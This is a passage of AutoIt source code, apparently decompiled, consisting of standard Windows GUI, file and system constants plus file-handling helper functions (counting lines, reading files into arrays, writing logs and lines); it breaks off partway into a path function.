Global Const $cbes_ex_nosizelimit = 8
Global Const $__comboboxconstant_wm_user = 1024
Global Const $cbem_deleteitem = $cb_deletestring
Global Const $cbem_getcombocontrol = ($__comboboxconstant_wm_user + 6)
Global Const $cbem_geteditcontrol = ($__comboboxconstant_wm_user + 7)
Global Const $cbem_getexstyle = ($__comboboxconstant_wm_user + 9)
Global Const $cbem_getextendedstyle = ($__comboboxconstant_wm_user + 9)
Global Const $cbem_getimagelist = ($__comboboxconstant_wm_user + 3)
Global Const $cbem_getitema = ($__comboboxconstant_wm_user + 4)
Global Const $cbem_getitemw = ($__comboboxconstant_wm_user + 13)
Global Const $cbem_getunicodeformat = 8192 + 6
Global Const $cbem_haseditchanged = ($__comboboxconstant_wm_user + 10)
Global Const $cbem_insertitema = ($__comboboxconstant_wm_user + 1)
Global Const $cbem_insertitemw = ($__comboboxconstant_wm_user + 11)
Global Const $cbem_setexstyle = ($__comboboxconstant_wm_user + 8)
Global Const $cbem_setextendedstyle = ($__comboboxconstant_wm_user + 14)
Global Const $cbem_setimagelist = ($__comboboxconstant_wm_user + 2)
Global Const $cbem_setitema = ($__comboboxconstant_wm_user + 5)
Global Const $cbem_setitemw = ($__comboboxconstant_wm_user + 12)
Global Const $cbem_setunicodeformat = 8192 + 5
Global Const $cbem_setwindowtheme = 8192 + 11
Global Const $cben_first = (-800)
Global Const $cben_last = (-830)
Global Const $cben_beginedit = ($cben_first - 4)
Global Const $cben_deleteitem = ($cben_first - 2)
Global Const $cben_dragbegina = ($cben_first - 8)
Global Const $cben_dragbeginw = ($cben_first - 9)
Global Const $cben_endedita = ($cben_first - 5)
Global Const $cben_endeditw = ($cben_first - 6)
Global Const $cben_getdispinfo = ($cben_first - 0)
Global Const $cben_getdispinfoa = ($cben_first - 0)
Global Const $cben_getdispinfow = ($cben_first - 7)
Global Const $cben_insertitem = ($cben_first - 1)
Global Const $cbeif_di_setitem = 268435456
Global Const $cbeif_image = 2
Global Const $cbeif_indent = 16
Global Const $cbeif_lparam = 32
Global Const $cbeif_overlay = 8
Global Const $cbeif_selectedimage = 4
Global Const $cbeif_text = 1
Global Const $__comboboxconstant_ws_vscroll = 2097152
Global Const $gui_ss_default_combo = BitOR($cbs_dropdown, $cbs_autohscroll, $__comboboxconstant_ws_vscroll)
Global Const $es_left = 0
Global Const $es_center = 1
Global Const $es_right = 2
Global Const $es_multiline = 4
Global Const $es_uppercase = 8
Global Const $es_lowercase = 16
Global Const $es_password = 32
Global Const $es_autovscroll = 64
Global Const $es_autohscroll = 128
Global Const $es_nohidesel = 256
Global Const $es_oemconvert = 1024
Global Const $es_readonly = 2048
Global Const $es_wantreturn = 4096
Global Const $es_number = 8192
Global Const $ec_err = -1
Global Const $ecm_first = 5376
Global Const $em_canundo = 198
Global Const $em_charfrompos = 215
Global Const $em_emptyundobuffer = 205
Global Const $em_fmtlines = 200
Global Const $em_getcuebanner = ($ecm_first + 2)
Global Const $em_getfirstvisibleline = 206
Global Const $em_gethandle = 189
Global Const $em_getimestatus = 217
Global Const $em_getlimittext = 213
Global Const $em_getline = 196
Global Const $em_getlinecount = 186
Global Const $em_getmargins = 212
Global Const $em_getmodify = 184
Global Const $em_getpasswordchar = 210
Global Const $em_getrect = 178
Global Const $em_getsel = 176
Global Const $em_getthumb = 190
Global Const $em_getwordbreakproc = 209
Global Const $em_hideballoontip = ($ecm_first + 4)
Global Const $em_limittext = 197
Global Const $em_linefromchar = 201
Global Const $em_lineindex = 187
Global Const $em_linelength = 193
Global Const $em_linescroll = 182
Global Const $em_posfromchar = 214
Global Const $em_replacesel = 194
Global Const $em_scroll = 181
Global Const $em_scrollcaret = 183
Global Const $em_setcuebanner = ($ecm_first + 1)
Global Const $em_sethandle = 188
Global Const $em_setimestatus = 216
Global Const $em_setlimittext = $em_limittext
Global Const $em_setmargins = 211
Global Const $em_setmodify = 185
Global Const $em_setpasswordchar = 204
Global Const $em_setreadonly = 207
Global Const $em_setrect = 179
Global Const $em_setrectnp = 180
Global Const $em_setsel = 177
Global Const $em_settabstops = 203
Global Const $em_setwordbreakproc = 208
Global Const $em_showballoontip = ($ecm_first + 3)
Global Const $em_undo = 199
Global Const $ec_leftmargin = 1
Global Const $ec_rightmargin = 2
Global Const $ec_usefontinfo = 65535
Global Const $emsis_compositionstring = 1
Global Const $eimes_getcompstratonce = 1
Global Const $eimes_cancelcompstrinfocus = 2
Global Const $eimes_completecompstrkillfocus = 4
Global Const $en_align_ltr_ec = 1792
Global Const $en_align_rtl_ec = 1793
Global Const $en_change = 768
Global Const $en_errspace = 1280
Global Const $en_hscroll = 1537
Global Const $en_killfocus = 512
Global Const $en_maxtext = 1281
Global Const $en_setfocus = 256
Global Const $en_update = 1024
Global Const $en_vscroll = 1538
Global Const $tti_none = 0
Global Const $tti_info = 1
Global Const $tti_warning = 2
Global Const $tti_error = 3
Global Const $tti_info_large = 4
Global Const $tti_warning_large = 5
Global Const $tti_error_large = 6
Global Const $__editconstant_ws_vscroll = 2097152
Global Const $__editconstant_ws_hscroll = 1048576
Global Const $gui_ss_default_edit = BitOR($es_wantreturn, $__editconstant_ws_vscroll, $__editconstant_ws_hscroll, $es_autovscroll, $es_autohscroll)
Global Const $gui_ss_default_input = BitOR($es_left, $es_autohscroll)
Global Const $fc_nooverwrite = 0
Global Const $fc_overwrite = 1
Global Const $ft_modified = 0
Global Const $ft_created = 1
Global Const $ft_accessed = 2
Global Const $fo_read = 0
Global Const $fo_append = 1
Global Const $fo_overwrite = 2
Global Const $fo_binary = 16
Global Const $fo_unicode = 32
Global Const $fo_utf16_le = 32
Global Const $fo_utf16_be = 64
Global Const $fo_utf8 = 128
Global Const $fo_utf8_nobom = 256
Global Const $eof = -1
Global Const $fd_filemustexist = 1
Global Const $fd_pathmustexist = 2
Global Const $fd_multiselect = 4
Global Const $fd_promptcreatenew = 8
Global Const $fd_promptoverwrite = 16
Global Const $create_new = 1
Global Const $create_always = 2
Global Const $open_existing = 3
Global Const $open_always = 4
Global Const $truncate_existing = 5
Global Const $invalid_set_file_pointer = -1
Global Const $file_begin = 0
Global Const $file_current = 1
Global Const $file_end = 2
Global Const $file_attribute_readonly = 1
Global Const $file_attribute_hidden = 2
Global Const $file_attribute_system = 4
Global Const $file_attribute_directory = 16
Global Const $file_attribute_archive = 32
Global Const $file_attribute_device = 64
Global Const $file_attribute_normal = 128
Global Const $file_attribute_temporary = 256
Global Const $file_attribute_sparse_file = 512
Global Const $file_attribute_reparse_point = 1024
Global Const $file_attribute_compressed = 2048
Global Const $file_attribute_offline = 4096
Global Const $file_attribute_not_content_indexed = 8192
Global Const $file_attribute_encrypted = 16384
Global Const $file_share_read = 1
Global Const $file_share_write = 2
Global Const $file_share_delete = 4
Global Const $generic_all = 268435456
Global Const $generic_execute = 536870912
Global Const $generic_write = 1073741824
Global Const $generic_read = -2147483648
Global Const $ddl_archive = 32
Global Const $ddl_directory = 16
Global Const $ddl_drives = 16384
Global Const $ddl_exclusive = 32768
Global Const $ddl_hidden = 2
Global Const $ddl_readonly = 1
Global Const $ddl_readwrite = 0
Global Const $ddl_system = 4
Global Const $color_aqua = 65535
Global Const $color_black = 0
Global Const $color_blue = 255
Global Const $color_cream = 16776176
Global Const $color_fuchsia = 16711935
Global Const $color_gray = 8421504
Global Const $color_green = 32768
Global Const $color_lime = 65280
Global Const $color_maroon = 9116770
Global Const $color_medblue = 708
Global Const $color_medgray = 10526884
Global Const $color_moneygreen = 12639424
Global Const $color_navy = 128
Global Const $color_olive = 8421376
Global Const $color_purple = 8388736
Global Const $color_red = 16711680
Global Const $color_silver = 12632256
Global Const $color_skyblue = 10930928
Global Const $color_teal = 32896
Global Const $color_white = 16777215
Global Const $color_yellow = 16776960
Global Const $clr_none = -1
Global Const $clr_default = -16777216
Global Const $clr_aqua = 16776960
Global Const $clr_black = 0
Global Const $clr_blue = 16711680
Global Const $clr_cream = 15793151
Global Const $clr_fuchsia = 16711935
Global Const $clr_gray = 8421504
Global Const $clr_green = 32768
Global Const $clr_lime = 65280
Global Const $clr_maroon = 6429835
Global Const $clr_medblue = 12845568
Global Const $clr_medgray = 10789024
Global Const $clr_moneygreen = 12639424
Global Const $clr_navy = 8388608
Global Const $clr_olive = 32896
Global Const $clr_purple = 8388736
Global Const $clr_red = 255
Global Const $clr_silver = 12632256
Global Const $clr_skyblue = 15780518
Global Const $clr_teal = 8421376
Global Const $clr_white = 16777215
Global Const $clr_yellow = 65535
Global Const $cc_anycolor = 256
Global Const $cc_fullopen = 2
Global Const $cc_rgbinit = 1
Global Const $opt_coordsrelative = 0
Global Const $opt_coordsabsolute = 1
Global Const $opt_coordsclient = 2
Global Const $opt_errorsilent = 0
Global Const $opt_errorfatal = 1
Global Const $opt_capsnostore = 0
Global Const $opt_capsstore = 1
Global Const $opt_matchstart = 1
Global Const $opt_matchany = 2
Global Const $opt_matchexact = 3
Global Const $opt_matchadvanced = 4
Global Const $ccs_top = 1
Global Const $ccs_nomovey = 2
Global Const $ccs_bottom = 3
Global Const $ccs_noresize = 4
Global Const $ccs_noparentalign = 8
Global Const $ccs_nohilite = 16
Global Const $ccs_adjustable = 32
Global Const $ccs_nodivider = 64
Global Const $ccs_vert = 128
Global Const $ccs_left = 129
Global Const $ccs_nomovex = 130
Global Const $ccs_right = 131
Global Const $di_mask = 1
Global Const $di_image = 2
Global Const $di_normal = 3
Global Const $di_compat = 4
Global Const $di_defaultsize = 8
Global Const $di_nomirror = 16
Global Const $display_device_attached_to_desktop = 1
Global Const $display_device_multi_driver = 2
Global Const $display_device_primary_device = 4
Global Const $display_device_mirroring_driver = 8
Global Const $display_device_vga_compatible = 16
Global Const $display_device_removable = 32
Global Const $display_device_disconnect = 33554432
Global Const $display_device_remote = 67108864
Global Const $display_device_modespruned = 134217728
Global Const $flashw_caption = 1
Global Const $flashw_tray = 2
Global Const $flashw_timer = 4
Global Const $flashw_timernofg = 12
Global Const $format_message_allocate_buffer = 256
Global Const $format_message_ignore_inserts = 512
Global Const $format_message_from_string = 1024
Global Const $format_message_from_hmodule = 2048
Global Const $format_message_from_system = 4096
Global Const $format_message_argument_array = 8192
Global Const $gw_hwndfirst = 0
Global Const $gw_hwndlast = 1
Global Const $gw_hwndnext = 2
Global Const $gw_hwndprev = 3
Global Const $gw_owner = 4
Global Const $gw_child = 5
Global Const $gwl_wndproc = -4
Global Const $gwl_hinstance = -6
Global Const $gwl_hwndparent = -8
Global Const $gwl_id = -12
Global Const $gwl_style = -16
Global Const $gwl_exstyle = -20
Global Const $gwl_userdata = -21
Global Const $std_cut = 0
Global Const $std_copy = 1
Global Const $std_paste = 2
Global Const $std_undo = 3
Global Const $std_redow = 4
Global Const $std_delete = 5
Global Const $std_filenew = 6
Global Const $std_fileopen = 7
Global Const $std_filesave = 8
Global Const $std_printpre = 9
Global Const $std_properties = 10
Global Const $std_help = 11
Global Const $std_find = 12
Global Const $std_replace = 13
Global Const $std_print = 14
Global Const $lr_defaultcolor = 0
Global Const $lr_monochrome = 1
Global Const $lr_color = 2
Global Const $lr_copyreturnorg = 4
Global Const $lr_copydeleteorg = 8
Global Const $lr_loadfromfile = 16
Global Const $lr_loadtransparent = 32
Global Const $lr_defaultsize = 64
Global Const $lr_vgacolor = 128
Global Const $lr_loadmap3dcolors = 4096
Global Const $lr_createdibsection = 8192
Global Const $lr_copyfromresource = 16384
Global Const $lr_shared = 32768
Global Const $image_bitmap = 0
Global Const $image_icon = 1
Global Const $image_cursor = 2
Global Const $kb_sendspecial = 0
Global Const $kb_sendraw = 1
Global Const $kb_capsoff = 0
Global Const $kb_capson = 1
Global Const $dont_resolve_dll_references = 1
Global Const $load_library_as_datafile = 2
Global Const $load_with_altered_search_path = 8
Global Const $objid_window = 0
Global Const $objid_titlebar = -2
Global Const $objid_sizegrip = -7
Global Const $objid_caret = -8
Global Const $objid_cursor = -9
Global Const $objid_alert = -10
Global Const $objid_sound = -11
Global Const $vk_down = 40
Global Const $vk_end = 35
Global Const $vk_home = 36
Global Const $vk_left = 37
Global Const $vk_next = 34
Global Const $vk_prior = 33
Global Const $vk_right = 39
Global Const $vk_up = 38
Global Const $vk_lbutton = 1
Global Const $vk_rbutton = 2
Global Const $vk_mbutton = 4
Global Const $mb_ok = 0
Global Const $mb_okcancel = 1
Global Const $mb_abortretryignore = 2
Global Const $mb_yesnocancel = 3
Global Const $mb_yesno = 4
Global Const $mb_retrycancel = 5
Global Const $mb_iconhand = 16
Global Const $mb_iconquestion = 32
Global Const $mb_iconexclamation = 48
Global Const $mb_iconasterisk = 64
Global Const $mb_defbutton1 = 0
Global Const $mb_defbutton2 = 256
Global Const $mb_defbutton3 = 512
Global Const $mb_applmodal = 0
Global Const $mb_systemmodal = 4096
Global Const $mb_taskmodal = 8192
Global Const $mb_topmost = 262144
Global Const $mb_rightjustified = 524288
Global Const $idtimeout = -1
Global Const $idok = 1
Global Const $idcancel = 2
Global Const $idabort = 3
Global Const $idretry = 4
Global Const $idignore = 5
Global Const $idyes = 6
Global Const $idno = 7
Global Const $idtryagain = 10
Global Const $idcontinue = 11
Global Const $dlg_notitle = 1
Global Const $dlg_notontop = 2
Global Const $dlg_textleft = 4
Global Const $dlg_textright = 8
Global Const $dlg_moveable = 16
Global Const $dlg_textvcenter = 32
Global Const $tip_iconnone = 0
Global Const $tip_iconasterisk = 1
Global Const $tip_iconexclamation = 2
Global Const $tip_iconhand = 3
Global Const $tip_nosound = 16
Global Const $idc_unknown = 0
Global Const $idc_appstarting = 1
Global Const $idc_arrow = 2
Global Const $idc_cross = 3
Global Const $idc_hand = 32649
Global Const $idc_help = 4
Global Const $idc_ibeam = 5
Global Const $idc_icon = 6
Global Const $idc_no = 7
Global Const $idc_size = 8
Global Const $idc_sizeall = 9
Global Const $idc_sizenesw = 10
Global Const $idc_sizens = 11
Global Const $idc_sizenwse = 12
Global Const $idc_sizewe = 13
Global Const $idc_uparrow = 14
Global Const $idc_wait = 15
Global Const $idi_application = 32512
Global Const $idi_asterisk = 32516
Global Const $idi_exclamation = 32515
Global Const $idi_hand = 32513
Global Const $idi_question = 32514
Global Const $idi_winlogo = 32517
Global Const $sd_logoff = 0
Global Const $sd_shutdown = 1
Global Const $sd_reboot = 2
Global Const $sd_force = 4
Global Const $sd_powerdown = 8
Global Const $str_nocasesense = 0
Global Const $str_casesense = 1
Global Const $str_stripleading = 1
Global Const $str_striptrailing = 2
Global Const $str_stripspaces = 4
Global Const $str_stripall = 8
Global Const $tray_item_exit = 3
Global Const $tray_item_pause = 4
Global Const $tray_item_first = 7
Global Const $tray_checked = 1
Global Const $tray_unchecked = 4
Global Const $tray_enable = 64
Global Const $tray_disable = 128
Global Const $tray_focus = 256
Global Const $tray_default = 512
Global Const $tray_event_showicon = -3
Global Const $tray_event_hideicon = -4
Global Const $tray_event_flashicon = -5
Global Const $tray_event_noflashicon = -6
Global Const $tray_event_primarydown = -7
Global Const $tray_event_primaryup = -8
Global Const $tray_event_secondarydown = -9
Global Const $tray_event_secondaryup = -10
Global Const $tray_event_mouseover = -11
Global Const $tray_event_mouseout = -12
Global Const $tray_event_primarydouble = -13
Global Const $tray_event_secondarydouble = -14
Global Const $stdin_child = 1
Global Const $stdout_child = 2
Global Const $stderr_child = 4
Global Const $stderr_merged = 8
Global Const $stdio_inherit_parent = 16
Global Const $run_create_new_console = 65536
Global Const $mouseeventf_absolute = 32768
Global Const $mouseeventf_move = 1
Global Const $mouseeventf_leftdown = 2
Global Const $mouseeventf_leftup = 4
Global Const $mouseeventf_rightdown = 8
Global Const $mouseeventf_rightup = 16
Global Const $mouseeventf_middledown = 32
Global Const $mouseeventf_middleup = 64
Global Const $mouseeventf_wheel = 2048
Global Const $mouseeventf_xdown = 128
Global Const $mouseeventf_xup = 256
Global Const $reg_none = 0
Global Const $reg_sz = 1
Global Const $reg_expand_sz = 2
Global Const $reg_binary = 3
Global Const $reg_dword = 4
Global Const $reg_dword_big_endian = 5
Global Const $reg_link = 6
Global Const $reg_multi_sz = 7
Global Const $reg_resource_list = 8
Global Const $reg_full_resource_descriptor = 9
Global Const $reg_resource_requirements_list = 10
Global Const $hwnd_bottom = 1
Global Const $hwnd_notopmost = -2
Global Const $hwnd_top = 0
Global Const $hwnd_topmost = -1
Global Const $swp_nosize = 1
Global Const $swp_nomove = 2
Global Const $swp_nozorder = 4
Global Const $swp_noredraw = 8
Global Const $swp_noactivate = 16
Global Const $swp_framechanged = 32
Global Const $swp_drawframe = 32
Global Const $swp_showwindow = 64
Global Const $swp_hidewindow = 128
Global Const $swp_nocopybits = 256
Global Const $swp_noownerzorder = 512
Global Const $swp_noreposition = 512
Global Const $swp_nosendchanging = 1024
Global Const $swp_defererase = 8192
Global Const $swp_asyncwindowpos = 16384
Global Const $lang_afrikaans = 54
Global Const $lang_albanian = 28
Global Const $lang_arabic = 1
Global Const $lang_armenian = 43
Global Const $lang_assamese = 77
Global Const $lang_azeri = 44
Global Const $lang_basque = 45
Global Const $lang_belarusian = 35
Global Const $lang_bengali = 69
Global Const $lang_bulgarian = 2
Global Const $lang_catalan = 3
Global Const $lang_chinese = 4
Global Const $lang_croatian = 26
Global Const $lang_czech = 5
Global Const $lang_danish = 6
Global Const $lang_dutch = 19
Global Const $lang_english = 9
Global Const $lang_estonian = 37
Global Const $lang_faeroese = 56
Global Const $lang_farsi = 41
Global Const $lang_finnish = 11
Global Const $lang_french = 156
Global Const $lang_georgian = 55
Global Const $lang_german = 7
Global Const $lang_greek = 8
Global Const $lang_gujarati = 71
Global Const $lang_hebrew = 13
Global Const $lang_hindi = 57
Global Const $lang_hungarian = 14
Global Const $lang_icelandic = 15
Global Const $lang_indonesian = 33
Global Const $lang_italian = 16
Global Const $lang_japanese = 17
Global Const $lang_kannada = 75
Global Const $lang_kashmiri = 96
Global Const $lang_kazak = 63
Global Const $lang_konkani = 87
Global Const $lang_korean = 18
Global Const $lang_latvian = 38
Global Const $lang_lithuanian = 39
Global Const $lang_macedonian = 47
Global Const $lang_malay = 62
Global Const $lang_malayalam = 76
Global Const $lang_manipuri = 88
Global Const $lang_marathi = 78
Global Const $lang_nepali = 97
Global Const $lang_neutral = 0
Global Const $lang_norwegian = 20
Global Const $lang_oriya = 72
Global Const $lang_polish = 21
Global Const $lang_portuguese = 22
Global Const $lang_punjabi = 70
Global Const $lang_romanian = 24
Global Const $lang_russian = 25
Global Const $lang_sanskrit = 79
Global Const $lang_serbian = 26
Global Const $lang_sindhi = 89
Global Const $lang_slovak = 27
Global Const $lang_slovenian = 36
Global Const $lang_spanish = 10
Global Const $lang_swahili = 65
Global Const $lang_swedish = 29
Global Const $lang_tamil = 73
Global Const $lang_tatar = 68
Global Const $lang_telugu = 74
Global Const $lang_thai = 30
Global Const $lang_turkish = 31
Global Const $lang_ukrainian = 34
Global Const $lang_urdu = 32
Global Const $lang_uzbek = 67
Global Const $lang_vietnamese = 42
Global Const $sublang_arabic_algeria = 5
Global Const $sublang_arabic_bahrain = 15
Global Const $sublang_arabic_egypt = 3
Global Const $sublang_arabic_iraq = 2
Global Const $sublang_arabic_jordan = 11
Global Const $sublang_arabic_kuwait = 13
Global Const $sublang_arabic_lebanon = 12
Global Const $sublang_arabic_libya = 4
Global Const $sublang_arabic_morocco = 6
Global Const $sublang_arabic_oman = 8
Global Const $sublang_arabic_qatar = 16
Global Const $sublang_arabic_saudi_arabia = 1
Global Const $sublang_arabic_syria = 10
Global Const $sublang_arabic_tunisia = 7
Global Const $sublang_arabic_uae = 14
Global Const $sublang_arabic_yemen = 9
Global Const $sublang_azeri_cyrillic = 2
Global Const $sublang_azeri_latin = 1
Global Const $sublang_chinese_hongkong = 3
Global Const $sublang_chinese_macau = 5
Global Const $sublang_chinese_simplified = 2
Global Const $sublang_chinese_singapore = 4
Global Const $sublang_chinese_traditional = 1
Global Const $sublang_default = 1
Global Const $sublang_dutch = 1
Global Const $sublang_dutch_belgian = 2
Global Const $sublang_english_aus = 3
Global Const $sublang_english_belize = 10
Global Const $sublang_english_can = 4
Global Const $sublang_english_caribbean = 9
Global Const $sublang_english_eire = 6
Global Const $sublang_english_jamaica = 8
Global Const $sublang_english_nz = 5
Global Const $sublang_english_philippines = 13
Global Const $sublang_english_south_africa = 7
Global Const $sublang_english_trinidad = 11
Global Const $sublang_english_uk = 2
Global Const $sublang_english_us = 1
Global Const $sublang_english_zimbabwe = 12
Global Const $sublang_french = 1
Global Const $sublang_french_belgian = 2
Global Const $sublang_french_canadian = 3
Global Const $sublang_french_luxembourg = 5
Global Const $sublang_french_monaco = 6
Global Const $sublang_french_swiss = 4
Global Const $sublang_german = 1
Global Const $sublang_german_austrian = 3
Global Const $sublang_german_liechtenstein = 5
Global Const $sublang_german_luxembourg = 4
Global Const $sublang_german_swiss = 2
Global Const $sublang_italian = 1
Global Const $sublang_italian_swiss = 2
Global Const $sublang_kashmiri_india = 2
Global Const $sublang_korean = 1
Global Const $sublang_lithuanian = 1
Global Const $sublang_malay_brunei_darussalam = 2
Global Const $sublang_malay_malaysia = 1
Global Const $sublang_nepali_india = 2
Global Const $sublang_neutral = 0
Global Const $sublang_norwegian_bokmal = 1
Global Const $sublang_norwegian_nynorsk = 2
Global Const $sublang_portuguese = 2
Global Const $sublang_portuguese_brazilian = 1
Global Const $sublang_serbian_cyrillic = 3
Global Const $sublang_serbian_latin = 2
Global Const $sublang_spanish = 1
Global Const $sublang_spanish_argentina = 11
Global Const $sublang_spanish_bolivia = 16
Global Const $sublang_spanish_chile = 13
Global Const $sublang_spanish_colombia = 9
Global Const $sublang_spanish_costa_rica = 5
Global Const $sublang_spanish_dominican_republic = 7
Global Const $sublang_spanish_ecuador = 12
Global Const $sublang_spanish_el_salvador = 17
Global Const $sublang_spanish_guatemala = 4
Global Const $sublang_spanish_honduras = 18
Global Const $sublang_spanish_mexican = 2
Global Const $sublang_spanish_modern = 3
Global Const $sublang_spanish_nicaragua = 19
Global Const $sublang_spanish_panama = 6
Global Const $sublang_spanish_paraguay = 15
Global Const $sublang_spanish_peru = 10
Global Const $sublang_spanish_puerto_rico = 20
Global Const $sublang_spanish_uruguay = 14
Global Const $sublang_spanish_venezuela = 8
Global Const $sublang_swedish = 1
Global Const $sublang_swedish_finland = 2
Global Const $sublang_sys_default = 2
Global Const $sublang_urdu_india = 2
Global Const $sublang_urdu_pakistan = 1
Global Const $sublang_uzbek_cyrillic = 2
Global Const $sort_default = 0
Global Const $sort_japanese_xjis = 0
Global Const $sort_japanese_unicode = 1
Global Const $sort_chinese_big5 = 0
Global Const $sort_chinese_prcp = 0
Global Const $sort_chinese_unicode = 1
Global Const $sort_chinese_prc = 2
Global Const $sort_korean_ksc = 0
Global Const $sort_korean_unicode = 1
Global Const $sort_german_phone_book = 1
Global Const $sort_hungarian_default = 0
Global Const $sort_hungarian_technical = 1
Global Const $sort_georgian_traditional = 0
Global Const $sort_georgian_modern = 1
Global Const $ss_left = 0
Global Const $ss_center = 1
Global Const $ss_right = 2
Global Const $ss_icon = 3
Global Const $ss_blackrect = 4
Global Const $ss_grayrect = 5
Global Const $ss_whiterect = 6
Global Const $ss_blackframe = 7
Global Const $ss_grayframe = 8
Global Const $ss_whiteframe = 9
Global Const $ss_simple = 11
Global Const $ss_leftnowordwrap = 12
Global Const $ss_bitmap = 14
Global Const $ss_etchedhorz = 16
Global Const $ss_etchedvert = 17
Global Const $ss_etchedframe = 18
Global Const $ss_noprefix = 128
Global Const $ss_notify = 256
Global Const $ss_centerimage = 512
Global Const $ss_rightjust = 1024
Global Const $ss_sunken = 4096
Global Const $gui_ss_default_label = 0
Global Const $gui_ss_default_graphic = 0
Global Const $gui_ss_default_icon = $ss_notify
Global Const $gui_ss_default_pic = $ss_notify
Func _filecountlines($sfilepath)
Local $hfile = FileOpen($sfilepath, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $sfilecontent = StringStripWS(FileRead($hfile), 2)
FileClose($hfile)
Local $atmp
If StringInStr($sfilecontent, @LF) Then
$atmp = StringSplit(StringStripCR($sfilecontent), @LF)
ElseIf StringInStr($sfilecontent, @CR) Then
$atmp = StringSplit($sfilecontent, @CR)
Else
If StringLen($sfilecontent) Then
Return 1
Else
Return SetError(2, 0, 0)
EndIf
EndIf
Return $atmp[0]
EndFunc
Func _filecreate($sfilepath)
Local $hopenfile = FileOpen($sfilepath, $fo_overwrite)
If $hopenfile = -1 Then Return SetError(1, 0, 0)
Local $hwritefile = FileWrite($hopenfile, "")
FileClose($hopenfile)
If $hwritefile = -1 Then Return SetError(2, 0, 0)
Return 1
EndFunc
Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0)
Local $hsearch, $sfile, $sfilelist, $sdelim = "|"
$spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\"
If NOT FileExists($spath) Then Return SetError(1, 1, "")
If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "")
If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "")
$hsearch = FileFindFirstFile($spath & $sfilter)
If @error Then Return SetError(4, 4, "")
While 1
$sfile = FileFindNextFile($hsearch)
If @error Then ExitLoop
If ($iflag + @extended = 2) Then ContinueLoop
$sfilelist &= $sdelim & $sfile
WEnd
FileClose($hsearch)
If NOT $sfilelist Then Return SetError(4, 4, "")
Return StringSplit(StringTrimLeft($sfilelist, 1), "|")
EndFunc
Func _fileprint($s_file, $i_show = @SW_HIDE)
Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0, "wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show)
If @error Then Return SetError(@error, @extended, 0)
If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0)
Return 1
EndFunc
Func _filereadtoarray($sfilepath, ByRef $aarray)
Local $hfile = FileOpen($sfilepath, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $afile = FileRead($hfile, FileGetSize($sfilepath))
If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1)
If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1)
FileClose($hfile)
If StringInStr($afile, @LF) Then
$aarray = StringSplit(StringStripCR($afile), @LF)
ElseIf StringInStr($afile, @CR) Then
$aarray = StringSplit($afile, @CR)
Else
If StringLen($afile) Then
Dim $aarray[2] = [1, $afile]
Else
Return SetError(2, 0, 0)
EndIf
EndIf
Return 1
EndFunc
Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0, $s_delim = "|")
If NOT IsArray($a_array) Then Return SetError(2, 0, 0)
Local $idims = UBound($a_array, 0)
If $idims > 2 Then Return SetError(4, 0, 0)
Local $last = UBound($a_array) - 1
If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last
If $i_base < 0 OR $i_base > $last Then $i_base = 0
Local $hfile
If IsString($file) Then
$hfile = FileOpen($file, $fo_overwrite)
Else
$hfile = $file
EndIf
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $errorsav = 0
Switch $idims
Case 1
For $x = $i_base To $i_ubound
If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then
$errorsav = 3
ExitLoop
EndIf
Next
Case 2
Local $s_temp
For $x = $i_base To $i_ubound
$s_temp = $a_array[$x][0]
For $y = 1 To $idims
$s_temp &= $s_delim & $a_array[$x][$y]
Next
If FileWrite($hfile, $s_temp & @CRLF) = 0 Then
$errorsav = 3
ExitLoop
EndIf
Next
EndSwitch
If IsString($file) Then FileClose($hfile)
If $errorsav Then Return SetError($errorsav, 0, 0)
Return 1
EndFunc
Func _filewritelog($slogpath, $slogmsg, $iflag = -1)
Local $hopenfile = $slogpath, $iopenmode = $fo_append
Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY
Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC
Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg
If $iflag <> -1 Then
$smsg &= @CRLF & FileRead($slogpath)
$iopenmode = $fo_overwrite
EndIf
If IsString($slogpath) Then
$hopenfile = FileOpen($slogpath, $iopenmode)
If $hopenfile = -1 Then
Return SetError(1, 0, 0)
EndIf
EndIf
Local $ireturn = FileWriteLine($hopenfile, $smsg)
If IsString($slogpath) Then
$ireturn = FileClose($hopenfile)
EndIf
If $ireturn <= 0 Then
Return SetError(2, $ireturn, 0)
EndIf
Return $ireturn
EndFunc
Func _filewritetoline($sfile, $iline, $stext, $foverwrite = 0)
If $iline <= 0 Then Return SetError(4, 0, 0)
If NOT IsString($stext) Then
$stext = String($stext)
If $stext = "" Then Return SetError(6, 0, 0)
EndIf
If $foverwrite <> 0 AND $foverwrite <> 1 Then Return SetError(5, 0, 0)
If NOT FileExists($sfile) Then Return SetError(2, 0, 0)
Local $sread_file = FileRead($sfile)
Local $asplit_file = StringSplit(StringStripCR($sread_file), @LF)
If UBound($asplit_file) < $iline Then Return SetError(1, 0, 0)
Local $iencoding = FileGetEncoding($sfile)
Local $hfile = FileOpen($sfile, $iencoding + $fo_overwrite)
If $hfile = -1 Then Return SetError(3, 0, 0)
$sread_file = ""
For $i = 1 To $asplit_file[0]
If $i = $iline Then
If $foverwrite = 1 Then
If $stext <> "" Then $sread_file &= $stext & @CRLF
Else
$sread_file &= $stext & @CRLF & $asplit_file[$i] & @CRLF
EndIf
ElseIf $i < $asplit_file[0] Then
$sread_file &= $asplit_file[$i] & @CRLF
ElseIf $i = $asplit_file[0] Then
$sread_file &= $asplit_file[$i]
EndIf
Next
FileWrite($hfile, $sread_file)
FileClose($hfile)
Return 1
EndFunc
Func _pathfull($srelativepath, $sbasepath = @WorkingDir)
If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath
